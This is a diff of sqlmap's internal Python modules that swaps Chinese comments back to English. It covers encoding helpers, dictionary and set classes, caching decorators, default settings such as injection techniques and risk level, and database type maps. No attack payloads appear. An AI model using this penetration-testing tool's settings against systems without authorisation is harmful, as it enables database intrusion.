# 尝试使用codecs编码
retVal = codecs.encode(value, "hex") retVal = codecs.encode(value, "hex")
except LookupError: except LookupError:
# 如果失败,使用binascii编码
retVal = binascii.hexlify(value) retVal = binascii.hexlify(value)
# 如果不需要二进制格式,转换为文本
if not binary: if not binary:
retVal = getText(retVal) retVal = getText(retVal)
@ -299,16 +210,8 @@ def encodeHex(value, binary=True):
def decodeBase64(value, binary=True, encoding=None): def decodeBase64(value, binary=True, encoding=None):
""" """
将Base64编码的值解码 Returns a decoded representation of provided Base64 value
参数:
value: Base64编码的字符串
binary: 是否返回二进制格式
encoding: 指定编码
返回:
解码后的值
示例:
>>> decodeBase64("MTIz") == b"123" >>> decodeBase64("MTIz") == b"123"
True True
>>> decodeBase64("MTIz", binary=False) >>> decodeBase64("MTIz", binary=False)
@ -326,26 +229,21 @@ def decodeBase64(value, binary=True, encoding=None):
if value is None: if value is None:
return None return None
# 设置填充字符
padding = b'=' if isinstance(value, bytes) else '=' padding = b'=' if isinstance(value, bytes) else '='
# 参考: https://stackoverflow.com/a/49459036 # Reference: https://stackoverflow.com/a/49459036
# 如果没有填充字符,添加填充
if not value.endswith(padding): if not value.endswith(padding):
value += 3 * padding value += 3 * padding
# 参考: https://en.wikipedia.org/wiki/Base64#URL_applications # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
# 参考: https://perldoc.perl.org/MIME/Base64.html # Reference: https://perldoc.perl.org/MIME/Base64.html
# 将URL安全的Base64字符替换为标准Base64字符
if isinstance(value, bytes): if isinstance(value, bytes):
value = value.replace(b'-', b'+').replace(b'_', b'/') value = value.replace(b'-', b'+').replace(b'_', b'/')
else: else:
value = value.replace('-', '+').replace('_', '/') value = value.replace('-', '+').replace('_', '/')
# 解码Base64
retVal = base64.b64decode(value) retVal = base64.b64decode(value)
# 如果不需要二进制格式,转换为文本
if not binary: if not binary:
retVal = getText(retVal, encoding) retVal = getText(retVal, encoding)
@ -353,18 +251,8 @@ def decodeBase64(value, binary=True, encoding=None):
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
""" """
将值编码为Base64格式 Returns a decoded representation of provided Base64 value
参数:
value: 要编码的值
binary: 是否返回二进制格式
encoding: 指定编码
padding: 是否添加填充字符
safe: 是否使用URL安全的字符
返回:
Base64编码的值
示例:
>>> encodeBase64(b"123") == b"MTIz" >>> encodeBase64(b"123") == b"MTIz"
True True
>>> encodeBase64(u"1234", binary=False) >>> encodeBase64(u"1234", binary=False)
@ -378,30 +266,24 @@ def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
if value is None: if value is None:
return None return None
# 如果是Unicode字符串,编码为bytes
if isinstance(value, six.text_type): if isinstance(value, six.text_type):
value = value.encode(encoding or UNICODE_ENCODING) value = value.encode(encoding or UNICODE_ENCODING)
# 编码为Base64
retVal = base64.b64encode(value) retVal = base64.b64encode(value)
# 如果不需要二进制格式,转换为文本
if not binary: if not binary:
retVal = getText(retVal, encoding) retVal = getText(retVal, encoding)
# 如果需要URL安全格式
if safe: if safe:
padding = False padding = False
# 参考: https://en.wikipedia.org/wiki/Base64#URL_applications # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
# 参考: https://perldoc.perl.org/MIME/Base64.html # Reference: https://perldoc.perl.org/MIME/Base64.html
# 将标准Base64字符替换为URL安全的字符
if isinstance(retVal, bytes): if isinstance(retVal, bytes):
retVal = retVal.replace(b'+', b'-').replace(b'/', b'_') retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
else: else:
retVal = retVal.replace('+', '-').replace('/', '_') retVal = retVal.replace('+', '-').replace('/', '_')
# 如果不需要填充,移除填充字符
if not padding: if not padding:
retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=') retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
@ -409,71 +291,47 @@ def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
def getBytes(value, encoding=None, errors="strict", unsafe=True): def getBytes(value, encoding=None, errors="strict", unsafe=True):
""" """
将Unicode值转换为字节表示 Returns byte representation of provided Unicode value
参数:
value: Unicode字符串
encoding: 指定编码
errors: 错误处理方式
unsafe: 是否允许不安全的字符
返回:
字节表示
示例:
>>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar" >>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar"
True True
""" """
retVal = value retVal = value
# 如果没有指定编码,使用配置中的编码或默认编码
if encoding is None: if encoding is None:
encoding = conf.get("encoding") or UNICODE_ENCODING encoding = conf.get("encoding") or UNICODE_ENCODING
# 验证编码是否有效
try: try:
codecs.lookup(encoding) codecs.lookup(encoding)
except (LookupError, TypeError): except (LookupError, TypeError):
encoding = UNICODE_ENCODING encoding = UNICODE_ENCODING
# 如果是Unicode字符串
if isinstance(value, six.text_type): if isinstance(value, six.text_type):
if INVALID_UNICODE_PRIVATE_AREA: if INVALID_UNICODE_PRIVATE_AREA:
if unsafe: if unsafe:
# 处理Unicode私有区域字符
for char in xrange(0xF0000, 0xF00FF + 1): for char in xrange(0xF0000, 0xF00FF + 1):
value = value.replace(_unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) value = value.replace(_unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000))
# 编码为字节
retVal = value.encode(encoding, errors) retVal = value.encode(encoding, errors)
if unsafe: if unsafe:
# 处理安全的十六进制标记
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal) retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
else: else:
try: try:
# 尝试使用指定编码
retVal = value.encode(encoding, errors) retVal = value.encode(encoding, errors)
except UnicodeError: except UnicodeError:
# 如果失败,使用Unicode编码并替换无法编码的字符
retVal = value.encode(UNICODE_ENCODING, errors="replace") retVal = value.encode(UNICODE_ENCODING, errors="replace")
if unsafe: if unsafe:
# 处理转义序列
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal) retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
return retVal return retVal
def getOrds(value): def getOrds(value):
""" """
返回字符串中每个字符的序号(ord) Returns ORD(...) representation of provided string value
参数:
value: 字符串
返回:
序号值列表
示例:
>>> getOrds(u'fo\\xf6bar') >>> getOrds(u'fo\\xf6bar')
[102, 111, 246, 98, 97, 114] [102, 111, 246, 98, 97, 114]
>>> getOrds(b"fo\\xc3\\xb6bar") >>> getOrds(b"fo\\xc3\\xb6bar")
@ -484,16 +342,8 @@ def getOrds(value):
def getUnicode(value, encoding=None, noneToNull=False): def getUnicode(value, encoding=None, noneToNull=False):
""" """
返回值的Unicode表示 Returns the unicode representation of the supplied value
参数:
value: 要转换的值
encoding: 指定编码
noneToNull: 是否将None转换为NULL
返回:
Unicode字符串
示例:
>>> getUnicode('test') == u'test' >>> getUnicode('test') == u'test'
True True
>>> getUnicode(1) == u'1' >>> getUnicode(1) == u'1'
@ -502,22 +352,18 @@ def getUnicode(value, encoding=None, noneToNull=False):
True True
""" """
# 检查时间限制 # Best position for --time-limit mechanism
if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit):
raise SystemExit raise SystemExit
# 如果需要将None转换为NULL
if noneToNull and value is None: if noneToNull and value is None:
return NULL return NULL
# 如果已经是Unicode字符串,直接返回
if isinstance(value, six.text_type): if isinstance(value, six.text_type):
return value return value
# 如果是字节字符串
elif isinstance(value, six.binary_type): elif isinstance(value, six.binary_type):
# 获取可能的编码列表 # Heuristics (if encoding not explicitly specified)
candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding())) candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, sys.getfilesystemencoding()))
# 根据内容特征调整编码优先级
if all(_ in value for _ in (b'<', b'>')): if all(_ in value for _ in (b'<', b'>')):
pass pass
elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value: elif any(_ in value for _ in (b":\\", b'/', b'.')) and b'\n' not in value:
@ -525,7 +371,6 @@ def getUnicode(value, encoding=None, noneToNull=False):
elif conf.get("encoding") and b'\n' not in value: elif conf.get("encoding") and b'\n' not in value:
candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING)) candidates = filterNone((encoding, conf.get("encoding"), kb.get("pageEncoding") if kb.get("originalPage") else None, sys.getfilesystemencoding(), UNICODE_ENCODING))
# 尝试使用不同的编码解码
for candidate in candidates: for candidate in candidates:
try: try:
return six.text_type(value, candidate) return six.text_type(value, candidate)
@ -533,34 +378,22 @@ def getUnicode(value, encoding=None, noneToNull=False):
pass pass
try: try:
# 尝试使用指定编码或页面编码
return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING) return six.text_type(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
except UnicodeDecodeError: except UnicodeDecodeError:
# 如果失败,使用可逆的错误处理方式
return six.text_type(value, UNICODE_ENCODING, errors="reversible") return six.text_type(value, UNICODE_ENCODING, errors="reversible")
# 如果是类列表对象
elif isListLike(value): elif isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value) value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value return value
else: else:
try: try:
# 尝试直接转换为Unicode
return six.text_type(value) return six.text_type(value)
except UnicodeDecodeError: except UnicodeDecodeError:
# 如果失败,忽略错误转换为字符串 return six.text_type(str(value), errors="ignore") # encoding ignored for non-basestring instances
return six.text_type(str(value), errors="ignore")
def getText(value, encoding=None): def getText(value, encoding=None):
""" """
返回值的文本表示(注意:在Python2中不一定是Unicode) Returns textual value of a given value (Note: not necessary Unicode on Python2)
参数:
value: 要转换的值
encoding: 指定编码
返回:
文本字符串
示例:
>>> getText(b"foobar") >>> getText(b"foobar")
'foobar' 'foobar'
>>> isinstance(getText(u"fo\\u2299bar"), six.text_type) >>> isinstance(getText(u"fo\\u2299bar"), six.text_type)
@ -569,11 +402,9 @@ def getText(value, encoding=None):
retVal = value retVal = value
# 如果是字节字符串,转换为Unicode
if isinstance(value, six.binary_type): if isinstance(value, six.binary_type):
retVal = getUnicode(value, encoding) retVal = getUnicode(value, encoding)
# 在Python2中,尝试转换为str类型
if six.PY2: if six.PY2:
try: try:
retVal = str(retVal) retVal = str(retVal)
@ -584,17 +415,11 @@ def getText(value, encoding=None):
def stdoutEncode(value): def stdoutEncode(value):
""" """
返回适合写入stdout的值的二进制表示 Returns binary representation of a given Unicode value safe for writing to stdout
参数:
value: 要编码的值
返回:
编码后的值
""" """
value = value or "" value = value or ""
# 在Windows终端环境下获取代码页
if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: if IS_WIN and IS_TTY and kb.get("codePage", -1) is None:
output = shellExec("chcp") output = shellExec("chcp")
match = re.search(r": (\d{3,})", output or "") match = re.search(r": (\d{3,})", output or "")
@ -610,21 +435,16 @@ def stdoutEncode(value):
kb.codePage = kb.codePage or "" kb.codePage = kb.codePage or ""
# 如果是Unicode字符串
if isinstance(value, six.text_type): if isinstance(value, six.text_type):
# 获取编码
encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING
while True: while True:
try: try:
# 尝试编码
retVal = value.encode(encoding) retVal = value.encode(encoding)
break break
except UnicodeEncodeError as ex: except UnicodeEncodeError as ex:
# 如果编码失败,用问号替换无法编码的字符
value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:] value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:]
# 发出警告消息
warnMsg = "cannot properly display (some) Unicode characters " warnMsg = "cannot properly display (some) Unicode characters "
warnMsg += "inside your terminal ('%s') environment. All " % encoding warnMsg += "inside your terminal ('%s') environment. All " % encoding
warnMsg += "unhandled occurrences will result in " warnMsg += "unhandled occurrences will result in "
@ -633,7 +453,6 @@ def stdoutEncode(value):
warnMsg += "corresponding output files" warnMsg += "corresponding output files"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
# 在Python3中转换回Unicode
if six.PY3: if six.PY3:
retVal = getUnicode(retVal, encoding) retVal = getUnicode(retVal, encoding)
@ -644,14 +463,8 @@ def stdoutEncode(value):
def getConsoleLength(value): def getConsoleLength(value):
""" """
返回字符串在控制台中的显示宽度 Returns console width of unicode values
参数:
value: 要计算长度的字符串
返回:
显示宽度
示例:
>>> getConsoleLength("abc") >>> getConsoleLength("abc")
3 3
>>> getConsoleLength(u"\\u957f\\u6c5f") >>> getConsoleLength(u"\\u957f\\u6c5f")
@ -659,10 +472,8 @@ def getConsoleLength(value):
""" """
if isinstance(value, six.text_type): if isinstance(value, six.text_type):
# 对于Unicode字符串,CJK字符占用2个宽度,其他字符占用1个宽度
retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value) retVal = sum((2 if ord(_) >= 0x3000 else 1) for _ in value)
else: else:
# 对于非Unicode字符串,使用长度作为宽度
retVal = len(value) retVal = len(value)
return retVal return retVal

@ -5,15 +5,13 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入必要的模块 import copy
import copy # 导入 copy 模块,用于对象复制 import threading
import threading # 导入 threading 模块,用于线程同步 import types
import types # 导入 types 模块,用于类型判断
from thirdparty.odict import OrderedDict # 导入 thirdparty 中的 OrderedDict 类,用于实现有序字典 from thirdparty.odict import OrderedDict
from thirdparty.six.moves import collections_abc as _collections # 导入 six 库中的 collections_abc 模块,用于抽象集合类 from thirdparty.six.moves import collections_abc as _collections
# 定义 AttribDict 类,继承自 dict允许以属性方式访问字典成员
class AttribDict(dict): class AttribDict(dict):
""" """
This class defines the dictionary with added capability to access members as attributes This class defines the dictionary with added capability to access members as attributes
@ -24,20 +22,20 @@ class AttribDict(dict):
1 1
""" """
# 初始化方法,接受一个字典 indict一个属性 attribute 和一个布尔值 keycheck
def __init__(self, indict=None, attribute=None, keycheck=True): def __init__(self, indict=None, attribute=None, keycheck=True):
if indict is None: # 如果 indict 为空,初始化为空字典 if indict is None:
indict = {} indict = {}
# 设置属性,这些属性在初始化前是普通属性 # Set any attributes here - before initialisation
# these remain as normal attributes
self.attribute = attribute self.attribute = attribute
self.keycheck = keycheck self.keycheck = keycheck
dict.__init__(self, indict) # 调用 dict 的初始化方法 dict.__init__(self, indict)
self.__initialised = True # 设置初始化完成标志 self.__initialised = True
# 在初始化之后,设置属性与设置字典项相同 # After initialisation, setting attributes
# is the same as setting an item
# 定义 __getattr__ 方法,用于获取属性
def __getattr__(self, item): def __getattr__(self, item):
""" """
Maps values to attributes Maps values to attributes
@ -45,95 +43,89 @@ class AttribDict(dict):
""" """
try: try:
return self.__getitem__(item) # 尝试获取字典项 return self.__getitem__(item)
except KeyError: # 如果字典中不存在此键 except KeyError:
if self.keycheck: # 如果 keycheck 为 True if self.keycheck:
raise AttributeError("unable to access item '%s'" % item) # 抛出属性错误 raise AttributeError("unable to access item '%s'" % item)
else: # 如果 keycheck 为 False else:
return None # 返回 None return None
# 定义 __delattr__ 方法,用于删除属性
def __delattr__(self, item): def __delattr__(self, item):
""" """
Deletes attributes Deletes attributes
""" """
try: try:
return self.pop(item) # 尝试从字典中删除项 return self.pop(item)
except KeyError: # 如果字典中不存在此键 except KeyError:
if self.keycheck: # 如果 keycheck 为 True if self.keycheck:
raise AttributeError("unable to access item '%s'" % item) # 抛出属性错误 raise AttributeError("unable to access item '%s'" % item)
else: # 如果 keycheck 为 False else:
return None # 返回 None return None
# 定义 __setattr__ 方法,用于设置属性
def __setattr__(self, item, value): def __setattr__(self, item, value):
""" """
Maps attributes to values Maps attributes to values
Only if we are initialised Only if we are initialised
""" """
# 在初始化方法中允许设置属性 # This test allows attributes to be set in the __init__ method
if "_AttribDict__initialised" not in self.__dict__: if "_AttribDict__initialised" not in self.__dict__:
return dict.__setattr__(self, item, value) return dict.__setattr__(self, item, value)
# 正常处理普通属性 # Any normal attributes are handled normally
elif item in self.__dict__: elif item in self.__dict__:
dict.__setattr__(self, item, value) dict.__setattr__(self, item, value)
else: # 其他情况,将属性映射到字典项 else:
self.__setitem__(item, value) self.__setitem__(item, value)
# 定义 __getstate__ 方法,用于支持序列化
def __getstate__(self): def __getstate__(self):
return self.__dict__ return self.__dict__
# 定义 __setstate__ 方法,用于支持反序列化
def __setstate__(self, dict): def __setstate__(self, dict):
self.__dict__ = dict self.__dict__ = dict
# 定义 __deepcopy__ 方法,用于深拷贝
def __deepcopy__(self, memo): def __deepcopy__(self, memo):
retVal = self.__class__() # 创建一个新实例 retVal = self.__class__()
memo[id(self)] = retVal # 将新实例添加到 memo 中 memo[id(self)] = retVal
for attr in dir(self): # 遍历所有属性 for attr in dir(self):
if not attr.startswith('_'): # 忽略私有属性 if not attr.startswith('_'):
value = getattr(self, attr) # 获取属性值 value = getattr(self, attr)
if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): # 忽略内置函数、函数和方法 if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
setattr(retVal, attr, copy.deepcopy(value, memo)) # 深拷贝属性值 setattr(retVal, attr, copy.deepcopy(value, memo))
for key, value in self.items(): # 遍历所有字典项 for key, value in self.items():
retVal.__setitem__(key, copy.deepcopy(value, memo)) # 深拷贝字典项 retVal.__setitem__(key, copy.deepcopy(value, memo))
return retVal # 返回深拷贝后的实例 return retVal
# 定义 InjectionDict 类,继承自 AttribDict用于存储注入相关信息
class InjectionDict(AttribDict): class InjectionDict(AttribDict):
def __init__(self): def __init__(self):
AttribDict.__init__(self) # 调用 AttribDict 的初始化方法 AttribDict.__init__(self)
# 初始化注入信息 self.place = None
self.place = None # 注入位置 self.parameter = None
self.parameter = None # 注入参数 self.ptype = None
self.ptype = None # 参数类型 self.prefix = None
self.prefix = None # 前缀 self.suffix = None
self.suffix = None # 后缀 self.clause = None
self.clause = None # 子句 self.notes = [] # Note: https://github.com/sqlmapproject/sqlmap/issues/1888
self.notes = [] # 备注列表
# data is a dict with various stype, each which is a dict with
# data 字典存储不同类型的注入数据 # all the information specific for that stype
self.data = AttribDict() self.data = AttribDict()
# conf 字典存储检测期间使用的重要选项的快照 # conf is a dict which stores current snapshot of important
# options used during detection
self.conf = AttribDict() self.conf = AttribDict()
self.dbms = None # 数据库类型 self.dbms = None
self.dbms_version = None # 数据库版本 self.dbms_version = None
self.os = None # 操作系统 self.os = None
# 定义 LRUDict 类,实现 LRU 缓存字典 # Reference: https://www.kunxi.org/2014/05/lru-cache-in-python
# 参考https://www.kunxi.org/2014/05/lru-cache-in-python
class LRUDict(object): class LRUDict(object):
""" """
This class defines the LRU dictionary This class defines the LRU dictionary
@ -149,41 +141,40 @@ class LRUDict(object):
""" """
def __init__(self, capacity): def __init__(self, capacity):
self.capacity = capacity # 设置缓存容量 self.capacity = capacity
self.cache = OrderedDict() # 使用 OrderedDict 作为缓存 self.cache = OrderedDict()
self.__lock = threading.Lock() # 创建一个锁,用于线程同步 self.__lock = threading.Lock()
def __len__(self): def __len__(self):
return len(self.cache) # 返回缓存长度 return len(self.cache)
def __contains__(self, key): def __contains__(self, key):
return key in self.cache # 判断键是否存在于缓存中 return key in self.cache
def __getitem__(self, key): def __getitem__(self, key):
value = self.cache.pop(key) # 将键从缓存中移除 value = self.cache.pop(key)
self.cache[key] = value # 将键添加回缓存,移动到最后 self.cache[key] = value
return value # 返回键的值 return value
def get(self, key): def get(self, key):
return self.__getitem__(key) # 获取键的值 return self.__getitem__(key)
def __setitem__(self, key, value): def __setitem__(self, key, value):
with self.__lock: # 获取锁,保证线程安全 with self.__lock:
try: try:
self.cache.pop(key) # 尝试从缓存中删除键 self.cache.pop(key)
except KeyError: # 如果键不存在 except KeyError:
if len(self.cache) >= self.capacity: # 如果缓存已满 if len(self.cache) >= self.capacity:
self.cache.popitem(last=False) # 删除最老的项 self.cache.popitem(last=False)
self.cache[key] = value # 将键值添加到缓存中 self.cache[key] = value
def set(self, key, value): def set(self, key, value):
self.__setitem__(key, value) # 设置键值 self.__setitem__(key, value)
def keys(self): def keys(self):
return self.cache.keys() # 返回缓存的所有键 return self.cache.keys()
# 定义 OrderedSet 类,实现有序集合 # Reference: https://code.activestate.com/recipes/576694/
# 参考https://code.activestate.com/recipes/576694/
class OrderedSet(_collections.MutableSet): class OrderedSet(_collections.MutableSet):
""" """
This class defines the set with ordered (as added) items This class defines the set with ordered (as added) items
@ -201,57 +192,57 @@ class OrderedSet(_collections.MutableSet):
""" """
def __init__(self, iterable=None): def __init__(self, iterable=None):
self.end = end = [] # 创建哨兵节点 self.end = end = []
end += [None, end, end] # 双向链表的哨兵节点 end += [None, end, end] # sentinel node for doubly linked list
self.map = {} # 存储键值和链表节点的映射 self.map = {} # key --> [key, prev, next]
if iterable is not None: if iterable is not None:
self |= iterable # 添加可迭代对象 self |= iterable
def __len__(self): def __len__(self):
return len(self.map) # 返回集合长度 return len(self.map)
def __contains__(self, key): def __contains__(self, key):
return key in self.map # 判断键是否存在于集合中 return key in self.map
def add(self, value): def add(self, value):
if value not in self.map: # 如果值不在集合中 if value not in self.map:
end = self.end end = self.end
curr = end[1] curr = end[1]
curr[2] = end[1] = self.map[value] = [value, curr, end] # 添加新节点到链表尾部 curr[2] = end[1] = self.map[value] = [value, curr, end]
def discard(self, value): def discard(self, value):
if value in self.map: # 如果值在集合中 if value in self.map:
value, prev, next = self.map.pop(value) # 移除节点 value, prev, next = self.map.pop(value)
prev[2] = next # 更新链表 prev[2] = next
next[1] = prev next[1] = prev
def __iter__(self): def __iter__(self):
end = self.end end = self.end
curr = end[2] # 从链表头开始遍历 curr = end[2]
while curr is not end: while curr is not end:
yield curr[0] yield curr[0]
curr = curr[2] # 移动到下一个节点 curr = curr[2]
def __reversed__(self): def __reversed__(self):
end = self.end end = self.end
curr = end[1] # 从链表尾开始遍历 curr = end[1]
while curr is not end: while curr is not end:
yield curr[0] yield curr[0]
curr = curr[1] # 移动到上一个节点 curr = curr[1]
def pop(self, last=True): def pop(self, last=True):
if not self: # 如果集合为空 if not self:
raise KeyError('set is empty') raise KeyError('set is empty')
key = self.end[1][0] if last else self.end[2][0] # 获取最后一个或第一个元素 key = self.end[1][0] if last else self.end[2][0]
self.discard(key) # 移除元素 self.discard(key)
return key # 返回元素值 return key
def __repr__(self): def __repr__(self):
if not self: # 如果集合为空 if not self:
return '%s()' % (self.__class__.__name__,) return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, list(self)) # 返回字符串表示 return '%s(%r)' % (self.__class__.__name__, list(self))
def __eq__(self, other): def __eq__(self, other):
if isinstance(other, OrderedSet): # 如果另一个对象是有序集合 if isinstance(other, OrderedSet):
return len(self) == len(other) and list(self) == list(other) # 比较长度和内容 return len(self) == len(other) and list(self) == list(other)
return set(self) == set(other) # 比较集合内容 return set(self) == set(other)

@ -0,0 +1,100 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import functools
import hashlib
import threading
from lib.core.datatype import LRUDict
from lib.core.settings import MAX_CACHE_ITEMS
from lib.core.settings import UNICODE_ENCODING
from lib.core.threads import getCurrentThreadData
_cache = {}
_cache_lock = threading.Lock()
_method_locks = {}
def cachedmethod(f):
"""
Method with a cached content
>>> __ = cachedmethod(lambda _: _)
>>> __(1)
1
>>> __(1)
1
>>> __ = cachedmethod(lambda *args, **kwargs: args[0])
>>> __(2)
2
>>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
>>> __(foobar=3)
3
Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/
"""
_cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS)
@functools.wraps(f)
def _f(*args, **kwargs):
try:
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
result = f(*args, **kwargs)
else:
try:
with _cache_lock:
result = _cache[f][key]
except KeyError:
result = f(*args, **kwargs)
with _cache_lock:
_cache[f][key] = result
return result
return _f
def stackedmethod(f):
"""
Method using pushValue/popValue functions (fallback function for stack realignment)
>>> threadData = getCurrentThreadData()
>>> original = len(threadData.valueStack)
>>> __ = stackedmethod(lambda _: threadData.valueStack.append(_))
>>> __(1)
>>> len(threadData.valueStack) == original
True
"""
@functools.wraps(f)
def _(*args, **kwargs):
threadData = getCurrentThreadData()
originalLevel = len(threadData.valueStack)
try:
result = f(*args, **kwargs)
finally:
if len(threadData.valueStack) > originalLevel:
threadData.valueStack = threadData.valueStack[:originalLevel]
return result
return _
def lockedmethod(f):
@functools.wraps(f)
def _(*args, **kwargs):
if f not in _method_locks:
_method_locks[f] = threading.RLock()
with _method_locks[f]:
result = f(*args, **kwargs)
return result
return _

@ -5,28 +5,25 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 从lib.core.datatype模块导入AttribDict类
from lib.core.datatype import AttribDict from lib.core.datatype import AttribDict
# 定义默认配置字典
_defaults = { _defaults = {
"csvDel": ',', # CSV文件的分隔符 "csvDel": ',',
"timeSec": 5, # 延迟时间(秒) "timeSec": 5,
"googlePage": 1, # Google搜索的起始页码 "googlePage": 1,
"verbose": 1, # 详细程度(1-6,数字越大输出信息越详细) "verbose": 1,
"delay": 0, # 每次请求之间的延迟时间 "delay": 0,
"timeout": 30, # 请求超时时间(秒) "timeout": 30,
"retries": 3, # 请求失败后的重试次数 "retries": 3,
"csrfRetries": 0, # CSRF令牌请求的重试次数 "csrfRetries": 0,
"safeFreq": 0, # 安全频率检查的时间间隔 "safeFreq": 0,
"threads": 1, # 并发线程数 "threads": 1,
"level": 1, # 测试等级(1-5,数字越大测试越深入) "level": 1,
"risk": 1, # 风险等级(1-3,数字越大风险越高) "risk": 1,
"dumpFormat": "CSV", # 导出数据的格式 "dumpFormat": "CSV",
"tablePrefix": "sqlmap", # 临时表名前缀 "tablePrefix": "sqlmap",
"technique": "BEUSTQ", # SQL注入技术(B:布尔盲注,E:报错注入,U:联合查询注入,S:堆叠注入,T:时间盲注,Q:内联查询) "technique": "BEUSTQ",
"torType": "SOCKS5", # Tor代理类型 "torType": "SOCKS5",
} }
# 将默认配置字典转换为AttribDict对象,方便通过属性方式访问
defaults = AttribDict(_defaults) defaults = AttribDict(_defaults)

@ -5,13 +5,10 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 导入所需的枚举类型
from lib.core.enums import CONTENT_TYPE from lib.core.enums import CONTENT_TYPE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import OS from lib.core.enums import OS
from lib.core.enums import POST_HINT from lib.core.enums import POST_HINT
# 导入各种数据库别名和设置
from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import ALTIBASE_ALIASES
from lib.core.settings import BLANK from lib.core.settings import BLANK
@ -43,192 +40,187 @@ from lib.core.settings import VERTICA_ALIASES
from lib.core.settings import VIRTUOSO_ALIASES from lib.core.settings import VIRTUOSO_ALIASES
from lib.core.settings import CLICKHOUSE_ALIASES from lib.core.settings import CLICKHOUSE_ALIASES
# Firebird数据库的数据类型映射字典
FIREBIRD_TYPES = { FIREBIRD_TYPES = {
261: "BLOB", # 二进制大对象 261: "BLOB",
14: "CHAR", # 定长字符串 14: "CHAR",
40: "CSTRING", # C风格字符串 40: "CSTRING",
11: "D_FLOAT", # 双精度浮点数 11: "D_FLOAT",
27: "DOUBLE", # 双精度数 27: "DOUBLE",
10: "FLOAT", # 浮点数 10: "FLOAT",
16: "INT64", # 64位整数 16: "INT64",
8: "INTEGER", # 整数 8: "INTEGER",
9: "QUAD", # 四字节整数 9: "QUAD",
7: "SMALLINT", # 小整数 7: "SMALLINT",
12: "DATE", # 日期 12: "DATE",
13: "TIME", # 时间 13: "TIME",
35: "TIMESTAMP", # 时间戳 35: "TIMESTAMP",
37: "VARCHAR", # 变长字符串 37: "VARCHAR",
} }
# Informix数据库的数据类型映射字典
INFORMIX_TYPES = { INFORMIX_TYPES = {
0: "CHAR", # 定长字符串 0: "CHAR",
1: "SMALLINT", # 小整数 1: "SMALLINT",
2: "INTEGER", # 整数 2: "INTEGER",
3: "FLOAT", # 浮点数 3: "FLOAT",
4: "SMALLFLOAT", # 小浮点数 4: "SMALLFLOAT",
5: "DECIMAL", # 十进制数 5: "DECIMAL",
6: "SERIAL", # 序列号 6: "SERIAL",
7: "DATE", # 日期 7: "DATE",
8: "MONEY", # 货币类型 8: "MONEY",
9: "NULL", # 空值 9: "NULL",
10: "DATETIME", # 日期时间 10: "DATETIME",
11: "BYTE", # 字节 11: "BYTE",
12: "TEXT", # 文本 12: "TEXT",
